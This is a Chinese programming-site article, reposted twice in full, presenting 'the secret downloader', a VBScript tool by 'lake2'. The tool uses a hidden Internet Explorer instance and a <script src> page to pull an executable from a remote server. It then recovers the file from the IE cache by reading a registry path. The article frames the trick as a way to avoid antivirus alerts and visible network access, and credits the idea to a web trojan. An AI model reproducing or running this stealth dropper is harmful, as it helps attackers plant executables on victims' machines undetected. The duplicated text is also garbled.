使用vbs下载文件的代码加强版
程序员文章站
2022-07-04 20:49:59
说到使用vbs下载文件是不是想到了xmlhttp呢,呵呵,以下是比较经典的代码: ilocal=lcase(wscript.arguments(1)) iremote=lc...
说到使用vbs下载文件是不是想到了xmlhttp呢,呵呵,以下是比较经典的代码:
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
set xpost=createobject("microsoft.xmlhttp")
xpost.open "get",iremote,0
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2
当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫internetexplorer.application的对象(其实就是个ie啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为ie是把文件下载到本地缓存的,我们可以让ie组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
为了让ie把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当ie访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,ie临时文件的位置可以从注册表键值 hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory 中读取。
好了,不废话,看代码:
'=============================
' get.vbs
' by lake2
'=============================
if wscript.arguments.count <> 3 then
wscript.echo ""
wscript.echo "======= the secret downloader 0.1 ================"
wscript.echo " by lake2 "
wscript.echo "usage: cscript /nologo" & wscript.scriptname & " [url] [remotename] [localfile]"
wscript.echo "example: cscript /nologo" & wscript.scriptname & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
wscript.echo "=================================================="
wscript.quit
end if
url = wscript.arguments(0)
exename = wscript.arguments(1)
if instr(exename, ".") > 0 then
tmp = left(exename,instrrev(exename, ".")-1)
tmp2 = right(exename,len(exename) - instrrev(exename, ".") + 1)
findfilename = tmp & "[1]" & tmp2
end if
localname = wscript.arguments(2)
set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate url
wscript.echo "[+]create and exec ie to your http server ..."
wscript.sleep(5000)
ie.quit
wscript.echo "[+]get the file ..."
set objshell= wscript.createobject("wscript.shell")
strvalue = objshell.regread("hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory")
showallfile(strvalue)
wscript.echo "[-]download fail :("
sub showallfile(path)
set fso = createobject("scripting.filesystemobject")
set f = fso.getfolder(path)
set fc = f.subfolders
for each f1 in fc
if fso.fileexists(path&"\"&f1.name&"\"&findfilename) then
fso.copyfile path&"\"&f1.name&"\"&findfilename, localname
wscript.echo "[+]download success !"
wscript.quit
end if
showallfile path&"\"&f1.name
next
set fso = nothing
end sub
使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
2、cscript get.vbs 第一步的网页url 网页包含的文件名 本地保存路径
例子:cscript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe
ps:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
set xpost=createobject("microsoft.xmlhttp")
xpost.open "get",iremote,0
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2
当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫internetexplorer.application的对象(其实就是个ie啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为ie是把文件下载到本地缓存的,我们可以让ie组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
为了让ie把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当ie访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,ie临时文件的位置可以从注册表键值 hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory 中读取。
好了,不废话,看代码:
'=============================
' get.vbs
' by lake2
'=============================
if wscript.arguments.count <> 3 then
wscript.echo ""
wscript.echo "======= the secret downloader 0.1 ================"
wscript.echo " by lake2 "
wscript.echo "usage: cscript /nologo" & wscript.scriptname & " [url] [remotename] [localfile]"
wscript.echo "example: cscript /nologo" & wscript.scriptname & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
wscript.echo "=================================================="
wscript.quit
end if
url = wscript.arguments(0)
exename = wscript.arguments(1)
if instr(exename, ".") > 0 then
tmp = left(exename,instrrev(exename, ".")-1)
tmp2 = right(exename,len(exename) - instrrev(exename, ".") + 1)
findfilename = tmp & "[1]" & tmp2
end if
localname = wscript.arguments(2)
set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate url
wscript.echo "[+]create and exec ie to your http server ..."
wscript.sleep(5000)
ie.quit
wscript.echo "[+]get the file ..."
set objshell= wscript.createobject("wscript.shell")
strvalue = objshell.regread("hklm\software\microsoft\windows\currentversion\internet settings\cache\paths\directory")
showallfile(strvalue)
wscript.echo "[-]download fail :("
sub showallfile(path)
set fso = createobject("scripting.filesystemobject")
set f = fso.getfolder(path)
set fc = f.subfolders
for each f1 in fc
if fso.fileexists(path&"\"&f1.name&"\"&findfilename) then
fso.copyfile path&"\"&f1.name&"\"&findfilename, localname
wscript.echo "[+]download success !"
wscript.quit
end if
showallfile path&"\"&f1.name
next
set fso = nothing
end sub
使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
2、cscript get.vbs 第一步的网页url 网页包含的文件名 本地保存路径
例子:cscript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe
ps:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-